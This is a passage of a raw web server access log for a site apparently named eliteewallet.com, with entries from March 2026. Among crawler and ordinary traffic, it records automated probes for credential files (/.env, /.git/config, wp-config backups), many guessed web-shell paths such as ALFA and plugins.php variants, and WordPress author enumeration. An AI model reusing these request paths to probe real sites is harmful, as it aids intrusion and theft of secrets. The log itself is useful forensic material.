(KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 2.58.56.176 - - [06/Mar/2026:02:59:43 +0300] "GET /wp-includes/rest-api/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 116.76.39.221 - - [06/Mar/2026:03:56:30 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.3716.123 Safari/537.36 LBBROWSER" 115.45.42.36 - - [06/Mar/2026:03:59:51 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3296.140 Safari/537.36 Edge/18.18362" 49.51.243.95 - - [06/Mar/2026:04:02:51 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 77.83.1.47 - - [06/Mar/2026:04:21:17 +0300] "GET / HTTP/1.0" 301 795 "http://eliteewallet.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.66 Safari/537.36" 185.16.39.114 - - [06/Mar/2026:04:30:27 +0300] "GET / HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 162.62.213.165 - - [06/Mar/2026:05:08:29 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 159.223.210.239 - - [06/Mar/2026:05:13:49 +0300] "GET /favicon.ico HTTP/1.1" 301 795 "http://www.eliteewallet.com/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 117.0.59.247 - - [06/Mar/2026:05:16:09 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 159.223.210.239 - - [06/Mar/2026:05:13:49 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 173.252.82.1 - - [06/Mar/2026:07:48:54 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)" 45.148.10.244 - - [06/Mar/2026:05:48:09 +0300] "GET /.git/config HTTP/1.1" 403 787 "-" "Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0" 91.134.186.54 - - [06/Mar/2026:08:00:14 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 1.15.52.154 - - [06/Mar/2026:08:13:42 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 51.68.236.92 - - [06/Mar/2026:08:30:16 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MJ12bot/v2.0.5; http://mj12bot.com/)" 51.68.236.92 - - [06/Mar/2026:08:30:16 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MJ12bot/v2.0.5; http://mj12bot.com/)" 52.207.7.159 - - [06/Mar/2026:09:36:28 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.75 Safari/537.36" 43.159.148.221 - - [06/Mar/2026:10:00:11 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 176.9.23.49 - - [06/Mar/2026:11:29:28 +0300] "GET /.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 43.152.72.247 - - [06/Mar/2026:10:50:23 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 3.230.122.209 - - [06/Mar/2026:12:21:29 +0300] "GET /FileZilla.xml HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [06/Mar/2026:13:19:58 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [06/Mar/2026:13:20:10 +0300] "GET /wp-includes/certificates/plugins.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [06/Mar/2026:13:20:14 +0300] "GET /wp-admin/user/plugins.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [06/Mar/2026:13:20:17 +0300] "GET /.well-known/acme-challenge/plugins.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [06/Mar/2026:13:22:15 +0300] "GET /wp-includes/IXR/plugins.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [06/Mar/2026:13:21:11 +0300] "GET /wp-content/upgrade/plugins.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [06/Mar/2026:13:21:17 +0300] "GET /images/plugins.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [06/Mar/2026:13:22:04 +0300] "GET /.tmb/plugins.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [06/Mar/2026:13:21:38 +0300] "GET /wp-includes/fonts/plugins.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [06/Mar/2026:13:21:03 +0300] "GET /wp-admin/maint/plugins.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [06/Mar/2026:13:21:27 +0300] "GET /css/plugins.php HTTP/1.1" 301 795 "-" "-" 129.212.233.49 - - [06/Mar/2026:13:23:06 +0300] "GET /wp-admin/css/ HTTP/1.1" 301 795 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 20.63.83.113 - - [06/Mar/2026:13:20:25 +0300] "GET /wp-includes/customize/plugins.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [06/Mar/2026:13:20:27 +0300] "GET /wp-includes/SimplePie/plugins.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [06/Mar/2026:13:20:30 +0300] "GET /wp-admin/css/colors/blue/plugins.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [06/Mar/2026:13:20:34 +0300] "GET /wp-content/themes/plugins.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [06/Mar/2026:13:20:37 +0300] "GET /wp-includes/ID3/plugins.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [06/Mar/2026:13:20:40 +0300] "GET /wp-admin/css/plugins.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [06/Mar/2026:13:20:44 +0300] "GET /wp-admin/includes/plugins.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [06/Mar/2026:13:20:47 +0300] "GET /wp-admin/network/plugins.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [06/Mar/2026:13:20:55 +0300] "GET /wp-admin/images/plugins.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [06/Mar/2026:13:21:49 +0300] "GET /wp-includes/pomo/plugins.php HTTP/1.1" 301 795 "-" "-" 2.58.56.91 - - [06/Mar/2026:13:35:51 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 2.58.56.91 - - [06/Mar/2026:13:35:51 +0300] "GET /wp-content/themes/seotheme/db.php?u HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 2.58.56.91 - - [06/Mar/2026:13:35:51 +0300] "POST /ALFA_DATA/alfacgiapi/perl.alfa HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 2.58.56.91 - - [06/Mar/2026:13:35:51 +0300] "POST /wp-plain.php HTTP/1.1" 301 795 "www.google.com" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 2.58.56.91 - - [06/Mar/2026:13:36:08 +0300] "POST /alfacgiapi/perl.alfa HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 118.174.211.10 - - [06/Mar/2026:13:53:32 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_3_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/21D61" 2.58.56.91 - - [06/Mar/2026:13:35:51 +0300] "GET /wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 49.234.192.248 - - [06/Mar/2026:14:49:18 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 49.51.50.147 - - [06/Mar/2026:15:15:10 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 199.244.88.230 - - [06/Mar/2026:16:13:38 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 43.130.72.40 - - [06/Mar/2026:16:02:29 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 100.30.5.6 - - [06/Mar/2026:16:19:48 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/600.2.5 (KHTML, like Gecko) Version/8.0.2 Safari/600.2.5 (Gort)" 198.235.24.165 - - [06/Mar/2026:18:10:22 +0300] "GET / HTTP/1.1" 301 795 "-" "Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity" 147.135.214.166 - - [06/Mar/2026:17:24:12 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MJ12bot/v1.4.8; http://mj12bot.com/)" 147.135.214.166 - - [06/Mar/2026:17:24:17 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MJ12bot/v1.4.8; http://mj12bot.com/)" 5.175.189.34 - - [06/Mar/2026:19:08:41 +0300] "GET //wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 103.20.83.78 - - [06/Mar/2026:20:48:59 +0300] "GET /wp-json/wp/v2/posts HTTP/1.0" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 43.130.40.120 - - [06/Mar/2026:21:19:12 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 60.188.57.0 - - [06/Mar/2026:21:44:57 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 84.39.112.144 - - [06/Mar/2026:21:42:31 +0300] "GET /wp-json/wp/v2/posts HTTP/1.0" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 103.166.159.123 - - [06/Mar/2026:22:20:15 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 43.135.144.81 - - [06/Mar/2026:23:15:21 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 52.179.211.95 - - [07/Mar/2026:02:23:59 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 54.92.221.206 - - [07/Mar/2026:01:11:24 +0300] "GET //wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 54.156.43.223 - - [07/Mar/2026:00:39:35 +0300] "GET //wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 106.119.167.146 - - [07/Mar/2026:03:46:25 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 64.23.150.65 - - [07/Mar/2026:05:21:03 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.71.12.10 - - [07/Mar/2026:04:47:26 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123" 64.23.150.65 - - [07/Mar/2026:05:21:03 +0300] "GET /favicon.ico HTTP/1.1" 301 795 "http://mail.eliteewallet.com/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 62.60.130.210 - - [07/Mar/2026:04:49:09 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "https://www.google.com/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36" 85.11.167.108 - - [07/Mar/2026:06:04:19 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 5.134.122.149 - - [07/Mar/2026:06:38:29 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 43.130.131.18 - - [07/Mar/2026:06:50:37 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 43.157.149.188 - - [07/Mar/2026:07:44:22 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 173.252.69.116 - - [07/Mar/2026:07:37:11 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)" 176.65.132.51 - - [07/Mar/2026:09:00:26 +0300] "GET /.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; U; Android 1.5; en-us; htc_bahamas Build/CRB17) AppleWebKit/528.5 (KHTML, like Gecko) Version/3.1.2 Mobile Safari/525.20.1" 115.45.40.128 - - [07/Mar/2026:09:18:50 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3837.57 Safari/537.36 OPR/63.0.3368.43" 167.172.93.181 - - [07/Mar/2026:09:35:34 +0300] "GET /wp-admin/css/ HTTP/1.1" 301 795 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 203.2.64.59 - - [07/Mar/2026:10:24:27 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 66.132.153.130 - - [07/Mar/2026:10:06:34 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 75.119.148.223 - - [07/Mar/2026:11:41:14 +0300] "GET /wp-admin/css/ HTTP/1.1" 301 795 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 144.172.114.76 - - [07/Mar/2026:11:29:45 +0300] "GET /wp-config.php~ HTTP/1.1" 301 795 "-" "Python-urllib/2.7" 185.247.137.134 - - [07/Mar/2026:11:19:15 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; InternetMeasurement/1.0; +https://internet-measurement.com/)" 59.125.102.227 - - [07/Mar/2026:11:54:56 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:50.0) Gecko/20100101 Firefox/50.0" 86.48.2.230 - - [07/Mar/2026:12:05:05 +0300] "GET /wp-admin/css/ HTTP/1.1" 301 795 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 43.130.72.177 - - [07/Mar/2026:12:52:28 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 149.102.225.182 - - [07/Mar/2026:14:21:22 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 87.121.84.97 - - [07/Mar/2026:14:17:16 +0300] "GET /js/_system/jQuery-File-Upload/server/php/index.php?file=tf2rghf.jpg HTTP/1.1" 301 795 "-" "ALittle Client" 43.157.22.109 - - [07/Mar/2026:13:41:14 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 107.175.75.13 - - [07/Mar/2026:13:55:07 +0300] "GET / HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 173.252.95.8 - - [07/Mar/2026:14:52:14 +0300] "GET / HTTP/1.1" 301 795 "-" "meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)" 23.247.136.254 - - [07/Mar/2026:15:45:35 +0300] "GET /wp-json/wp/v2/posts HTTP/1.0" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.63.83.113 - - [07/Mar/2026:17:11:00 +0300] "GET /wp-admin/file.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [07/Mar/2026:17:11:03 +0300] "GET /file9.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [07/Mar/2026:17:11:06 +0300] "GET /file.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [07/Mar/2026:17:11:09 +0300] "GET /file7.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [07/Mar/2026:17:11:12 +0300] "GET /file2.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [07/Mar/2026:17:11:16 +0300] "GET /file5.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [07/Mar/2026:17:11:18 +0300] "GET /file15.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [07/Mar/2026:17:11:21 +0300] "GET /file18.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [07/Mar/2026:17:11:24 +0300] "GET /law2.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [07/Mar/2026:17:11:26 +0300] "GET /law.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [07/Mar/2026:17:11:29 +0300] "GET /mar.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [07/Mar/2026:17:11:32 +0300] "GET /wp-info.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [07/Mar/2026:17:11:36 +0300] "GET /wp-admin/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [07/Mar/2026:17:10:31 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [07/Mar/2026:17:10:50 +0300] "GET /file17.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [07/Mar/2026:17:10:53 +0300] "GET /.trash7309/index.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [07/Mar/2026:17:11:44 +0300] "GET /wp-content/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [07/Mar/2026:17:10:45 +0300] "GET /lock360.php HTTP/1.1" 301 795 "-" "-" 103.118.46.61 - - [07/Mar/2026:17:15:53 +0300] "GET //wp-json/wp/v2/posts HTTP/1.0" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 43.153.62.161 - - [07/Mar/2026:18:09:05 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 49.51.233.95 - - [07/Mar/2026:18:54:16 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 34.96.45.165 - - [07/Mar/2026:21:46:43 +0300] "HEAD / HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 89.163.146.197 - - [07/Mar/2026:22:12:40 +0300] "GET /txets.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 31.47.240.130 - - [07/Mar/2026:22:09:38 +0300] "POST /xmlrpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0" 62.60.130.228 - - [07/Mar/2026:22:43:01 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "https://www.google.com/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.85 Safari/537.36" 157.245.98.84 - - [07/Mar/2026:23:38:22 +0300] "GET /favicon.ico HTTP/1.1" 301 795 "http://eliteewallet.com/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 157.245.98.84 - - [07/Mar/2026:23:38:22 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.144.148.122 - - [07/Mar/2026:23:51:39 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 91.224.92.195 - - [08/Mar/2026:01:09:39 +0300] "GET /?author=1 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0" 91.224.92.195 - - [08/Mar/2026:01:09:43 +0300] "GET /?author=2 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0" 91.224.92.195 - - [08/Mar/2026:01:09:46 +0300] "GET /?author=3 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0" 91.224.92.195 - - [08/Mar/2026:01:09:49 +0300] "GET /?author=4 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:09:53 +0300] "GET /?author=5 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:09:57 +0300] "GET /?author=6 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:10:02 +0300] "GET /?author=7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:10:07 +0300] "GET /?author=8 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:10:07 +0300] "GET /?author=9 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0" 91.224.92.195 - - [08/Mar/2026:01:10:07 +0300] "GET /?author=10 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:10:07 +0300] "GET /?author=11 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:10:07 +0300] "GET /?author=12 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:10:07 +0300] "GET /?author=13 HTTP/1.1" 301 795 